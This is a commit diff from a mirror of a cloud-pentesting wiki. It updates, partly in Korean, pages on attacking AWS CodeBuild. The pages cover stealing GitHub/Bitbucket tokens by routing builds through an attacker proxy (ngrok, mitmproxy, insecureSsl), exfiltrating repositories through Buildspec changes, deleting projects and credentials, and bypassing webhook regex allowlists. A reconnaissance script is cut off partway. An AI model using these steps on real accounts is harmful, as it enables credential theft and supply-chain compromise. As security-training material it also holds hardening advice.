mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -4,43 +4,43 @@
|
||||
|
||||
## CodeBuild
|
||||
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
For more information, check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-codebuild-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 비밀 확인
|
||||
### Check Secrets
|
||||
|
||||
Github, Gitlab 또는 Bitbucket에 연결하기 위해 Codebuild에 자격 증명이 개인 토큰, 비밀번호 또는 OAuth 토큰 접근 형태로 설정된 경우, 이 **자격 증명은 비밀 관리자에 비밀로 저장됩니다**.\
|
||||
따라서 비밀 관리자를 읽을 수 있는 접근 권한이 있다면 이러한 비밀을 얻고 연결된 플랫폼으로 피벗할 수 있습니다.
|
||||
만약 개인 토큰, 비밀번호 또는 OAuth token 형태로 Codebuild에 Github, Gitlab 또는 Bitbucket 연결을 위한 자격 증명이 설정되어 있다면, 이러한 **자격 증명은 secret manager에 secrets로 저장됩니다**.\
|
||||
따라서, secret manager를 읽을 수 있는 권한이 있다면 이 secrets들을 획득해 연결된 플랫폼으로 피봇할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### CodeBuild 리포지토리 접근 남용
|
||||
### Abuse CodeBuild Repo Access
|
||||
|
||||
**CodeBuild**를 구성하려면 **사용할 코드 리포지토리에 대한 접근이 필요합니다**. 여러 플랫폼이 이 코드를 호스팅할 수 있습니다:
|
||||
**CodeBuild**를 구성하려면 사용할 코드 repo에 대한 **접근권**이 필요합니다. 여러 플랫폼이 이 코드를 호스팅할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**CodeBuild 프로젝트는** 구성된 소스 제공자에 대한 접근 권한을 가져야 하며, 이는 **IAM 역할** 또는 github/bitbucket **토큰 또는 OAuth 접근**을 통해 이루어질 수 있습니다.
|
||||
The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
|
||||
|
||||
**CodeBuild에서 권한이 상승된 공격자**는 이 구성된 접근을 남용하여 구성된 리포지토리 및 설정된 자격 증명에 접근할 수 있는 다른 리포지토리의 코드를 유출할 수 있습니다.\
|
||||
이를 위해 공격자는 **구성된 자격 증명이 접근할 수 있는 각 리포지토리의 URL을 변경하기만 하면 됩니다** (aws 웹사이트에서 모든 리포지토리를 나열해 줍니다):
|
||||
CodeBuild에 대한 **상위 권한(elevated permissions)을 가진 공격자**는 이 설정된 접근권을 악용하여 구성된 repo의 코드와 설정된 자격증명이 접근 가능한 다른 repo들의 코드를 leak할 수 있습니다.\
|
||||
이를 위해 공격자는 단순히 **구성된 자격증명이 접근 가능한 각 리포지토리의 repository URL을 변경**하면 됩니다(참고로 aws web이 모든 리포지토리를 나열해줍니다):
|
||||
|
||||
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
그리고 **각 리포지토리를 유출하기 위해 Buildspec 명령을 변경합니다**.
|
||||
그리고 **각 리포지토리를 exfiltrate하기 위해 Buildspec 명령을 변경**하면 됩니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 그러나 이 **작업은 반복적이고 지루합니다**. 만약 github 토큰이 **쓰기 권한**으로 구성되었다면, 공격자는 **그 권한을 (남)용할 수 없습니다**. 왜냐하면 그는 토큰에 접근할 수 없기 때문입니다.\
|
||||
> 아니면 접근할 수 있을까요? 다음 섹션을 확인하세요.
|
||||
> 다만, 이 **작업은 반복적이고 지루**하며, 만약 github token에 **write permissions**가 설정되어 있었다 해도 공격자는 토큰에 대한 접근 권한이 없으므로 그 권한을 **(오)남용할 수 없습니다**.\
|
||||
> 혹시 그럴 수 있을까요? 다음 섹션을 확인하세요
|
||||
|
||||
### AWS CodeBuild에서 접근 토큰 유출
|
||||
### Leaking Access Tokens from AWS CodeBuild
|
||||
|
||||
CodeBuild에서 Github과 같은 플랫폼에 주어진 접근을 유출할 수 있습니다. 외부 플랫폼에 대한 접근이 주어졌는지 확인하세요:
|
||||
CodeBuild에 부여된 접근권을 Github와 같은 플랫폼으로 leak할 수 있습니다. 외부 플랫폼에 대한 접근이 부여되었는지 다음으로 확인하세요:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
@@ -48,29 +48,37 @@ aws codebuild list-source-credentials
|
||||
aws-codebuild-token-leakage.md
|
||||
{{#endref}}
|
||||
|
||||
### webhook 필터 잘못된 구성으로 인한 신뢰되지 않은 PR 실행
|
||||
|
||||
webhook 필터가 약하면 외부 공격자는 자신의 PRs를 권한이 높은 CodeBuild 프로젝트에서 빌드되게 한 뒤 CI에서 임의의 코드를 실행할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-untrusted-pr-webhook-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### `codebuild:DeleteProject`
|
||||
|
||||
공격자는 전체 CodeBuild 프로젝트를 삭제할 수 있으며, 이로 인해 프로젝트 구성 손실이 발생하고 프로젝트에 의존하는 애플리케이션에 영향을 미칠 수 있습니다.
|
||||
공격자는 전체 CodeBuild 프로젝트를 삭제할 수 있어 프로젝트 구성 손실을 초래하고 해당 프로젝트에 의존하는 애플리케이션에 영향을 줄 수 있습니다.
|
||||
```bash
|
||||
aws codebuild delete-project --name <value>
|
||||
```
|
||||
**잠재적 영향**: 삭제된 프로젝트를 사용하는 애플리케이션의 프로젝트 구성 손실 및 서비스 중단.
|
||||
**잠재적 영향**: 프로젝트 구성 손실 및 삭제된 프로젝트를 사용하는 애플리케이션의 서비스 중단.
|
||||
|
||||
### `codebuild:TagResource` , `codebuild:UntagResource`
|
||||
|
||||
공격자는 CodeBuild 리소스의 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다.
|
||||
공격자가 CodeBuild 리소스에 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책을 방해할 수 있습니다.
|
||||
```bash
|
||||
aws codebuild tag-resource --resource-arn <value> --tags <value>
|
||||
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
|
||||
```
|
||||
**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단.
|
||||
**Potential Impact**: 비용 할당, 리소스 추적, 태그 기반 액세스 제어 정책의 중단.
|
||||
|
||||
### `codebuild:DeleteSourceCredentials`
|
||||
|
||||
공격자는 Git 리포지토리에 대한 소스 자격 증명을 삭제할 수 있으며, 이는 리포지토리에 의존하는 애플리케이션의 정상적인 기능에 영향을 미칩니다.
|
||||
공격자는 Git 리포지토리의 소스 자격 증명을 삭제하여 해당 리포지토리에 의존하는 애플리케이션의 정상적인 동작에 영향을 줄 수 있습니다.
|
||||
```sql
|
||||
aws codebuild delete-source-credentials --arn <value>
|
||||
```
|
||||
**잠재적 영향**: 소스 자격 증명의 제거로 인해 영향을 받는 리포지토리에 의존하는 애플리케이션의 정상적인 기능이 중단됩니다.
|
||||
**잠재적 영향**: 소스 자격 증명 제거로 인해 영향을 받는 리포지토리에 의존하는 애플리케이션의 정상 동작이 중단될 수 있습니다.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,47 +2,48 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Recover Github/Bitbucket Configured Tokens
|
||||
## Github/Bitbucket에 구성된 토큰 복구
|
||||
|
||||
먼저, leak할 수 있는 source credentials가 구성되어 있는지 확인하세요:
|
||||
먼저, leak할 수 있는 구성된 소스 자격 증명이 있는지 확인하세요:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Via Docker Image
|
||||
### Docker Image를 통한 방법
|
||||
|
||||
If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
|
||||
계정에 예를 들어 Github에 대한 인증이 설정되어 있음을 발견하면, Codebuild가 프로젝트 빌드를 실행할 때 특정 Docker image를 사용하도록 하여 그 **exfiltrate**된 **access** (**GH token or OAuth token**)를 획득할 수 있습니다.
|
||||
|
||||
For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
|
||||
이를 위해 **create a new Codebuild project** 하거나 기존 프로젝트의 **environment**를 변경하여 **Docker image**를 설정할 수 있습니다.
|
||||
|
||||
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
|
||||
사용할 수 있는 Docker 이미지: [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). 이 이미지는 매우 기본적인 Docker 이미지로 **env variables `https_proxy`**, **`http_proxy`** 및 **`SSL_CERT_FILE`**을 설정합니다. 이는 **`https_proxy`**와 **`http_proxy`**에 지정된 호스트의 대부분 트래픽을 intercept하고 **`SSL_CERT_FILE`**에 지정된 SSL CERT를 신뢰하도록 합니다.
|
||||
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- 레포지토리의 지침을 따라 proxy IP 주소와 SSL cert를 설정하고 **build the docker image** 하세요.
|
||||
- 메타데이터 엔드포인트로의 요청을 가로채지 않으려면 **DO NOT SET `http_proxy`**.
|
||||
- 프록시를 호스트로 설정하려면 **`ngrok`**을 사용하여 `ngrok tcp 4444`처럼 실행할 수 있습니다.
|
||||
- Docker image를 빌드한 후 **upload it to a public repo** (Dockerhub, ECR...)
|
||||
- 레포지토리의 지침을 따라 proxy IP 주소와 SSL cert를 설정하고 **build the docker image** 합니다.
|
||||
- **DO NOT SET `http_proxy`** — metadata endpoint로의 요청을 intercept하지 않도록 합니다.
|
||||
- **`ngrok`**을 사용하여 `ngrok tcp 4444`처럼 호스트의 proxy를 설정할 수 있습니다
|
||||
- Docker 이미지가 빌드되면 **upload it to a public repo** (Dockerhub, ECR...)
|
||||
|
||||
2. **Set the environment**
|
||||
- **Create a new Codebuild project**를 만들거나 기존 프로젝트의 **modify**된 environment를 사용하세요.
|
||||
- 프로젝트가 **previously generated Docker image**를 사용하도록 설정하세요.
|
||||
- **Create a new Codebuild project**를 생성하거나 기존 프로젝트의 **modify**된 environment를 사용합니다.
|
||||
- 프로젝트가 **previously generated Docker image**를 사용하도록 설정합니다
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Set the MitM proxy in your host**
|
||||
|
||||
- **Github repo**에 명시된 것처럼 다음과 같은 방법을 사용할 수 있습니다:
|
||||
- **Github repo**에 표시된 대로 다음과 같이 사용할 수 있습니다:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> **사용된 mitmproxy 버전은 9.0.1입니다**, 버전 10에서는 작동하지 않을 수 있다고 보고되었습니다.
|
||||
|
||||
> 사용된 **mitmproxy 버전은 9.0.1**이며, 보고에 따르면 버전 10에서는 작동하지 않을 수 있습니다.
|
||||
|
||||
4. **빌드를 실행하고 자격 증명을 캡처하기**
|
||||
|
||||
- **Authorization** 헤더에서 토큰을 볼 수 있습니다:
|
||||
- **Authorization** 헤더에서 토큰을 확인할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 작업은 aws cli에서도 다음과 같이 수행할 수 있습니다
|
||||
이는 aws cli에서도 다음과 같이 수행할 수 있습니다:
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -71,17 +72,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
# Start the build
|
||||
aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### insecureSSL를 통해
|
||||
### insecureSSL을 통해
|
||||
|
||||
**Codebuild** 프로젝트에는 **`insecureSsl`**라는 설정이 있으며 웹에서는 숨겨져 있어 API에서만 변경할 수 있습니다.\
|
||||
이를 활성화하면 Codebuild가 플랫폼에서 제공하는 인증서를 **검증하지 않고** 리포지토리에 연결할 수 있습니다.
|
||||
**Codebuild** 프로젝트에는 웹 UI에 숨겨져 있으며 API에서만 변경할 수 있는 **`insecureSsl`**라는 설정이 있습니다.\
|
||||
이 설정을 활성화하면 Codebuild가 플랫폼에서 제공하는 리포지토리에 **플랫폼에서 제공하는 인증서를 확인하지 않고** 연결할 수 있습니다.
|
||||
|
||||
- 먼저 다음과 같은 명령으로 현재 구성을 열거해야 합니다:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- 그런 다음 수집한 정보로 프로젝트 설정 **`insecureSsl`** 를 **`True`** 로 업데이트할 수 있습니다. 아래는 제가 프로젝트를 업데이트한 예이며, 마지막에 **`insecureSsl=True`** 가 있는 것을 확인하세요 (수집된 설정에서 변경해야 할 유일한 항목입니다).
|
||||
- 또한 환경 변수 **http_proxy** 및 **https_proxy** 를 tcp ngrok처럼 가리키도록 다음과 같이 추가하세요:
|
||||
- 그런 다음 수집한 정보를 사용하여 프로젝트 설정 **`insecureSsl`** 를 **`True`** 로 업데이트할 수 있습니다. 다음은 제가 프로젝트를 업데이트한 예시입니다. 끝부분의 **`insecureSsl=True`** 를 확인하세요(수집한 구성에서 변경해야 하는 유일한 사항입니다).
|
||||
- 또한 환경 변수 **http_proxy** 및 **https_proxy** 를 tcp ngrok을 가리키도록 추가하세요. 예:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -115,7 +116,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- 그런 다음, [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)의 기본 예제를 proxy variables (http_proxy and https_proxy)가 가리키는 포트에서 실행합니다.
|
||||
- 그런 다음, [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)의 기본 예제를 proxy variables (http_proxy 및 https_proxy)가 가리키는 포트에서 실행하세요.
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -128,24 +129,24 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- 마지막으로 **Build the project**를 클릭하면, **credentials**가 **sent in clear text** (base64)로 mitm 포트로 전송된다:
|
||||
- 마지막으로 **Build the project**를 클릭하면, **자격 증명**이 **평문으로 전송됩니다** (base64) mitm 포트로:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Via HTTP protocol~~
|
||||
### ~~HTTP 프로토콜을 통한~~
|
||||
|
||||
> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
|
||||
> [!TIP] > **이 취약점은 2023년 2월 20일 주 어느 시점(아마 금요일)에 AWS에서 수정되었습니다. 따라서 공격자는 더 이상 이를 악용할 수 없습니다 :)**
|
||||
|
||||
권한이 상승한 공격자는 **CodeBuild에서 구성된 Github/Bitbucket token을 leak할 수 있으며**, 권한이 OAuth로 구성되어 있다면 코드에 접근하는 데 사용되는 **temporary OAuth token**을 leak할 수 있다.
|
||||
권한이 상승된 공격자는 **CodeBuild에서 구성된 Github/Bitbucket 토큰을 leak할 수 있으며**, 권한이 OAuth로 구성된 경우 **temporary OAuth token used to access the code**를 leak할 수 있습니다.
|
||||
|
||||
- 공격자는 환경 변수 **http_proxy** 및 **https_proxy**를 CodeBuild 프로젝트에 추가하여 자신의 머신을 가리키게 할 수 있다 (예: `http://5.tcp.eu.ngrok.io:14972`).
|
||||
- 공격자는 환경 변수 **http_proxy**와 **https_proxy**를 CodeBuild 프로젝트에 추가하여 자신의 머신을 가리키게 할 수 있습니다(예: `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- 그 다음, github 리포지토리의 URL을 HTTPS 대신 HTTP를 사용하도록 변경한다, 예: `http://github.com/carlospolop-forks/TestActions`
|
||||
- 그런 다음, proxy 변수들(http_proxy 및 https_proxy)이 가리키는 포트에서 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)에 있는 기본 예제를 실행한다.
|
||||
- 그런 다음 github 리포지토리의 URL을 HTTPS 대신 HTTP를 사용하도록 변경합니다. 예: `http://github.com/carlospolop-forks/TestActions`
|
||||
- 그런 다음 프록시 변수(http_proxy와 https_proxy)가 가리키는 포트에서 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)의 기본 예제를 실행합니다.
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -158,32 +159,23 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- 다음으로, **프로젝트 빌드**를 클릭하거나 명령줄에서 빌드를 시작하세요:
|
||||
- 다음으로, **Build the project**를 클릭하거나 커맨드 라인에서 빌드를 시작하세요:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- 마지막으로, **credentials**는 **clear text** (base64)로 mitm 포트로 전송됩니다:
|
||||
- 마지막으로, **credentials**는 **평문**(base64)으로 mitm 포트로 전송됩니다:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> 이제 공격자는 자신의 머신에서 token을 사용해 해당 토큰이 가진 모든 권한을 확인하고, CodeBuild 서비스를 직접 사용하는 것보다 더 쉽게 (ab)use할 수 있습니다.
|
||||
> 이제 attacker는 자신의 머신에서 token을 사용하고, token이 가진 모든 권한을 나열하며, CodeBuild 서비스를 직접 사용하는 것보다 더 쉽게 (ab)use할 수 있게 됩니다.
|
||||
|
||||
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
|
||||
## Untrusted PR execution via webhook filter misconfiguration
|
||||
|
||||
잘못 구성된 CodeBuild GitHub webhooks로, unanchored `ACTOR_ID` regexes를 사용하면 *untrusted* PR들이 privileged builds를 시작할 수 있습니다. allowlist가 `123456|7890123`처럼 `^`/`$` 없이 설정되어 있으면, 해당 하위문자열(substring)을 포함하는 어떤 ID든 매치됩니다. GitHub 사용자 ID는 순차적이기 때문에, 공격자는 신뢰된 ID의 superstring인 “eclipsing” ID를 등록하기 위해 경쟁(race)하여 빌드를 트리거할 수 있습니다.
|
||||
PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution)에 대해서는 다음을 확인하세요:
|
||||
|
||||
**Exploit path**
|
||||
|
||||
1. 공개된 CodeBuild 프로젝트 중 webhook filters를 노출하는 것을 찾아 unanchored `ACTOR_ID` allowlist를 추출합니다.
|
||||
2. eclipsing GitHub ID 획득:
|
||||
- GitHub orgs를 생성/삭제하여 global ID counter를 샘플링합니다 (org IDs는 같은 풀을 공유합니다).
|
||||
- 많은 GitHub App manifest 생성 작업을 미리 준비해두고, 카운터가 대상에서 약 ~100 IDs 이내로 접근했을 때 confirmation URLs를 발동시켜 신뢰된 substring을 포함한 bot ID를 한꺼번에 등록합니다.
|
||||
3. eclipsing 계정으로 PR을 엽니다; regex가 substring을 매치하여 privileged build가 실행됩니다.
|
||||
4. build RCE(예: dependency install hooks)를 이용해 GitHub credential을 처리하는 프로세스 메모리를 덤프하여 PAT/OAuth token을 복구합니다.
|
||||
5. 토큰의 `repo` scope로 자신의 계정을 collaborator/admin으로 초대하고, 악성 커밋을 push/approve 하거나 비밀을 exfiltrate합니다.
|
||||
|
||||
## References
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
{{#ref}}
|
||||
aws-codebuild-untrusted-pr-webhook-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,235 @@
|
||||
# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
이 공격 벡터는 **public-facing PR workflow**가 약한 webhook 제어를 가진 **privileged CodeBuild project**에 연결되어 있을 때 발생합니다.
|
||||
|
||||
외부 공격자가 CodeBuild로 하여금 자신의 pull request를 실행하게 만들 수 있다면, 일반적으로 **arbitrary code execution inside the build** (build scripts, dependency hooks, test scripts 등)을 얻고, 이후 secrets, IAM credentials, 또는 source-provider credentials로 피벗할 수 있습니다.
|
||||
|
||||
## 왜 이것이 위험한가
|
||||
|
||||
CodeBuild webhook 필터는 regex 패턴으로 평가됩니다 (non-`EVENT` 필터의 경우). `ACTOR_ACCOUNT_ID` 필터에서는 약한 패턴이 의도보다 더 많은 사용자를 매치할 수 있습니다.
|
||||
신뢰할 수 없는 PR이 권한 있는 AWS role 권한 또는 GitHub 자격증명을 가진 프로젝트에서 빌드되면, 이는 전체 공급망(supply-chain) 침해로 이어질 수 있습니다.
|
||||
|
||||
Wiz는 다음과 같은 실전 체인을 보여주었습니다:
|
||||
|
||||
1. 웹훅 actor allowlist가 **unanchored regex**를 사용했다.
|
||||
2. 공격자가 신뢰된 ID의 **superstring**으로 매치되는 GitHub ID를 등록했다.
|
||||
3. 악성 PR이 CodeBuild를 트리거했다.
|
||||
4. 빌드 코드 실행을 이용해 메모리를 덤프하고 source-provider credentials/tokens를 복구했다.
|
||||
|
||||
## 외부 PR 코드 실행을 허용하는 잘못된 구성
|
||||
|
||||
다음은 고위험 실수들과 공격자가 각 실수를 악용하는 방식입니다:
|
||||
|
||||
1. **`EVENT` filters allow untrusted triggers**
|
||||
- 일반적으로 위험한 이벤트: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`.
|
||||
- 권한 있는 빌드에 연결되면 위험해질 수 있는 기타 이벤트: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`.
|
||||
- Bad: `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"` (권한 있는 프로젝트에서).
|
||||
- Better: 권한 있는 프로젝트의 경우 PR 코멘트 승인 사용 및 트리거 이벤트 최소화.
|
||||
- Abuse: 공격자는 자신이 제어하는 브랜치에 대해 PR을 열거나 업데이트하거나 푸시하여 CodeBuild에서 자신의 코드를 실행시킵니다.
|
||||
|
||||
2. **`ACTOR_ACCOUNT_ID` regex is weak**
|
||||
- Bad: `123456|7890123` 같은 unanchored 패턴.
|
||||
- Better: 정확히 매치하도록 앵커 사용 `^(123456|7890123)$`.
|
||||
- Abuse: regex의 과도한 매치로 인해 권한 없는 GitHub ID가 allowlist를 통과합니다.
|
||||
|
||||
3. **Other regex filters are weak or missing**
|
||||
- `HEAD_REF`
|
||||
- Bad: `refs/heads/.*`
|
||||
- Better: `^refs/heads/main$` (또는 명시적 신뢰 목록)
|
||||
- `BASE_REF`
|
||||
- Bad: `.*`
|
||||
- Better: `^refs/heads/main$`
|
||||
- `FILE_PATH`
|
||||
- Bad: 경로 제한 없음
|
||||
- Better: `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$`와 같이 위험한 파일 제외
|
||||
- `COMMIT_MESSAGE`
|
||||
- Bad: 느슨한 매치로 신뢰 마커 사용 (예: `trusted`)
|
||||
- Better: 커밋 메시지를 PR 실행의 신뢰 경계로 사용하지 않음
|
||||
- `REPOSITORY_NAME` / `ORGANIZATION_NAME`
|
||||
- Bad: org/global webhook에 `.*`
|
||||
- Better: 오직 정확한 repo/org 매치만 허용
|
||||
- `WORKFLOW_NAME`
|
||||
- Bad: `.*`
|
||||
- Better: 정확한 workflow 이름 매치만 허용 (또는 이를 신뢰 제어로 사용하지 않음)
|
||||
- Abuse: 공격자는 permissive한 regex를 통과하도록 ref/path/message/repo 컨텍스트를 조작하여 빌드를 트리거합니다.
|
||||
|
||||
4. **`excludeMatchedPattern` is misused**
|
||||
- 이 플래그를 잘못 설정하면 의도한 논리가 반전될 수 있습니다.
|
||||
- Bad: `FILE_PATH '^buildspec\\.yml$'`에 대해 의도는 buildspec 편집을 차단하는 것인데 `excludeMatchedPattern=false`로 설정한 경우.
|
||||
- Better: 같은 패턴에 `excludeMatchedPattern=true`로 설정하여 `buildspec.yml`을 건드리는 빌드를 거부.
|
||||
- Abuse: 방어자는 위험한 이벤트/경로/액터를 차단한다고 생각하지만 실제로는 허용하고 있을 수 있습니다.
|
||||
|
||||
5. **Multiple `filterGroups` create accidental bypasses**
|
||||
- CodeBuild는 그룹을 OR로 평가합니다 (하나의 그룹만 통과하면 충분).
|
||||
- Bad: 엄격한 그룹 하나 + 완화된 폴백 그룹 하나(예: `EVENT=PULL_REQUEST_UPDATED`만 있음).
|
||||
- Better: 액터/레퍼런스/경로 제약을 시행하지 않는 폴백 그룹 제거.
|
||||
- Abuse: 공격자는 가장 약한 그룹만 만족시키면 됩니다.
|
||||
|
||||
6. **Comment approval gate disabled or too permissive**
|
||||
- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED`는 가장 안전하지 않습니다.
|
||||
- 지나치게 넓은 승인자 역할은 통제를 약화시킵니다.
|
||||
- Bad: `requiresCommentApproval=DISABLED`.
|
||||
- Better: `ALL_PULL_REQUESTS` 또는 `FORK_PULL_REQUESTS`와 최소한의 승인자 역할 사용.
|
||||
- Abuse: 포크/드라이브바이 PR이 신뢰된 유지보수자의 승인 없이 자동 실행됩니다.
|
||||
|
||||
7. **No restrictive branch/path strategy for PR builds**
|
||||
- `HEAD_REF` + `BASE_REF` + `FILE_PATH`로 방어층을 구성하지 않음.
|
||||
- Bad: `EVENT` + `ACTOR_ACCOUNT_ID`만 있고 ref/path 제약 없음.
|
||||
- Better: 정확한 `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + `FILE_PATH` 제한을 조합.
|
||||
- Abuse: 공격자는 build inputs(buildspec/CI/dependencies 등)을 수정하여 임의의 명령 실행을 얻습니다.
|
||||
|
||||
8. **Public visibility + status URL exposure**
|
||||
- 공개된 빌드/체크 URL은 공격자에게 리컨(recon) 및 반복 테스트 기회를 제공합니다.
|
||||
- Bad: `projectVisibility=PUBLIC_READ`에 민감한 로그/구성이 공개된 경우.
|
||||
- Better: 비즈니스 요구가 강력하지 않다면 프로젝트를 비공개로 유지하고, 로그/아티팩트를 정리(sanitize)합니다.
|
||||
- Abuse: 공격자는 프로젝트 패턴/동작을 발견하고 페이로드와 우회 시도를 조정합니다.
|
||||
|
||||
## Token leakage from memory
|
||||
|
||||
Wiz의 글은 source-provider credentials가 빌드 런타임 컨텍스트에 존재하며 빌드가 손상된 이후(예: memory dumping을 통해) 탈취될 수 있다는 점을 설명합니다. 권한 범위가 넓다면 이는 리포지토리 takeover로 이어질 수 있습니다.
|
||||
|
||||
AWS는 공개 이후 하드닝을 도입했지만, 핵심 교훈은 변하지 않습니다: **never execute untrusted PR code in privileged build contexts** 그리고 공격자가 제어하는 빌드 코드는 자격증명 탈취를 시도할 것이라고 가정하십시오.
|
||||
|
||||
추가적인 CodeBuild 내 자격증명 절취 기법은 다음을 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-token-leakage.md
|
||||
{{#endref}}
|
||||
|
||||
## Finding CodeBuild URLs in GitHub PRs
|
||||
|
||||
CodeBuild가 커밋 상태를 GitHub에 리포트하는 경우, CodeBuild 빌드 URL은 보통 다음 위치에 나타납니다:
|
||||
|
||||
1. **PR page** -> **Checks** 탭 (또는 Conversation/Commits의 상태 라인).
|
||||
2. **Commit page** -> status/checks 섹션 -> **Details** 링크.
|
||||
3. **PR commits list** -> 커밋에 붙은 체크 컨텍스트를 클릭.
|
||||
|
||||
공개 프로젝트의 경우, 이 링크는 인증되지 않은 사용자에게 빌드 메타데이터/구성을 노출할 수 있습니다.
|
||||
|
||||
<details>
|
||||
<summary>스크립트: PR에서 CodeBuild URL을 감지하고 공개 여부를 테스트</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Usage:
|
||||
# ./check_pr_codebuild_urls.sh <owner> <repo> <pr_number>
|
||||
#
|
||||
# Requirements: gh, jq, curl
|
||||
|
||||
OWNER="${1:?owner}"
|
||||
REPO="${2:?repo}"
|
||||
PR="${3:?pr_number}"
|
||||
|
||||
for bin in gh jq curl timeout; do
|
||||
command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; }
|
||||
done
|
||||
|
||||
tmp_commits="$(mktemp)"
|
||||
tmp_urls="$(mktemp)"
|
||||
trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT
|
||||
|
||||
gh_api() {
|
||||
timeout 20s gh api "$@" 2>/dev/null || true
|
||||
}
|
||||
|
||||
